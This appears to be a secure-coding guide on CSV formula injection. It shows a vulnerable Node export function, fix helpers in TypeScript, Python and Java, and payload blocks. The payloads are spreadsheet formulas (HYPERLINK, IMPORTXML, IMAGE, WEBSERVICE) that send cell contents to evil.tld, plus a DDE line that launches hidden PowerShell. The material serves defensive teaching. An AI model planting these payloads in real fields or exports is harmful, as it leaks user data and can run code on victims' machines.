1// VULNERABLE, csv-stringify quotes commas and quotes, but does NOT
2//             escape leading = / + / - / @ characters. The library is
3//             RFC-4180-correct; it is not formula-injection-safe by
4//             default. The application has to do that itself.
5import { stringify } from 'csv-stringify/sync';
6import { db } from './db';
7
8export async function exportUsersCsv(res) {
9  const users = await db.query('SELECT id, email, display_name, bio FROM users');
10  const rows = users.map(u => [u.id, u.email, u.display_name, u.bio]);
11
12  res.setHeader('Content-Type', 'text/csv');
13  res.setHeader('Content-Disposition', 'attachment; filename="users.csv"');
14  res.send(stringify([['ID', 'Email', 'Name', 'Bio'], ...rows]));
15}
16
17// An attacker with display_name = =HYPERLINK("https://evil.tld/?u="&B2,"View profile")
18// produces a CSV where the admin sees "View profile" in the Name column.
19// Clicking it sends the admin's row-B email to evil.tld.

1# Exfiltration with zero warnings (works in Excel, Calc, Numbers).
2=HYPERLINK("https://evil.tld/?leak=" & A2 & "_" & B2, "Click here for refund")
3
4# Pure HTTP GET on sheet open, Google Sheets specific, no user click required.
5=IMPORTXML("https://evil.tld/?x=" & A2, "//x")
6
7# Code execution via DDE on legacy Excel, still useful in enterprise environments.
8=cmd|'/c powershell -nop -w hidden -enc <base64>'!A1

1# All three of these payloads, placed in a username or display name
2# field, will exfiltrate the contents of cell B2 (typically the admin's
3# email or another sensitive value) to attacker-controlled infrastructure.
4#
5# Google Sheets, fires automatically on sheet open, no click needed.
6=IMPORTXML("https://evil.tld/x?d=" & ENCODEURL(B2), "//a")
7=IMAGE("https://evil.tld/x?d=" & ENCODEURL(B2))
8=IMPORTDATA("https://evil.tld/x?d=" & ENCODEURL(B2))
9
10# Excel desktop, fires on click, no Enable Content prompt.
11=HYPERLINK("https://evil.tld/x?d=" & B2, "View record")
12
13# LibreOffice Calc, same as Excel.
14=WEBSERVICE("https://evil.tld/x?d=" & B2)

1// lib/csv-safe.ts, a single canonical helper to use at every export site.
2//
3// Strategy: if the first character (after stripping leading whitespace
4// that Excel itself would strip) is a formula trigger, prefix the value
5// with a single apostrophe so Excel treats it as literal text. Then
6// run the value through a real CSV writer that handles quoting.
7
8const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@']);
9
10/** Returns a value safe to feed into any CSV writer. */
11export function csvSafe(value: unknown): string {
12  if (value === null || value === undefined) return '';
13  const s = String(value);
14
15  // Strip the prefix characters Excel itself strips, then look at the
16  // first surviving character. Tab and CR count as whitespace for
17  // this purpose.
18  const stripped = s.replace(/^[\t\r\n ]+/, '');
19  const first = stripped.charAt(0);
20
21  if (FORMULA_TRIGGERS.has(first)) {
22    return "'" + s;
23  }
24  return s;
25}
26
27// Use the helper at EVERY export site. Do not pass raw values through.
28import { stringify } from 'csv-stringify/sync';
29res.send(
30  stringify([
31    headers,
32    ...rows.map(r => r.map(csvSafe)),
33  ])
34);

1# lib/csv_safe.py
2import csv
3
4_FORMULA_TRIGGERS = {"=", "+", "-", "@"}
5
6def csv_safe(value) -> str:
7    if value is None:
8        return ""
9    s = str(value)
10    stripped = s.lstrip("\t\r\n ")
11    if stripped and stripped[0] in _FORMULA_TRIGGERS:
12        return "'" + s
13    return s
14
15# Always pipe through csv_safe before writing.
16def write_users_csv(users, fp):
17    w = csv.writer(fp)
18    w.writerow(["id", "email", "display_name", "bio"])
19    for u in users:
20        w.writerow([
21            u.id,
22            csv_safe(u.email),
23            csv_safe(u.display_name),
24            csv_safe(u.bio),
25        ])

1public final class CsvSafe {
2    private static final Set<Character> TRIGGERS =
3        Set.of('=', '+', '-', '@');
4
5    public static String escape(Object value) {
6        if (value == null) return "";
7        String s = value.toString();
8        // Strip Excel-stripped leading whitespace before checking.
9        int i = 0;
10        while (i < s.length()) {
11            char c = s.charAt(i);
12            if (c == '\t' || c == '\r' || c == '\n' || c == ' ') i++;
13            else break;
14        }
15        if (i < s.length() && TRIGGERS.contains(s.charAt(i))) {
16            return "'" + s;
17        }
18        return s;
19    }
20}
21
22// Use at every export site.
23for (User u : users) {
24    printer.printRecord(
25        u.getId(),
26        CsvSafe.escape(u.getEmail()),
27        CsvSafe.escape(u.getDisplayName()),
28        CsvSafe.escape(u.getBio())
29    );
30}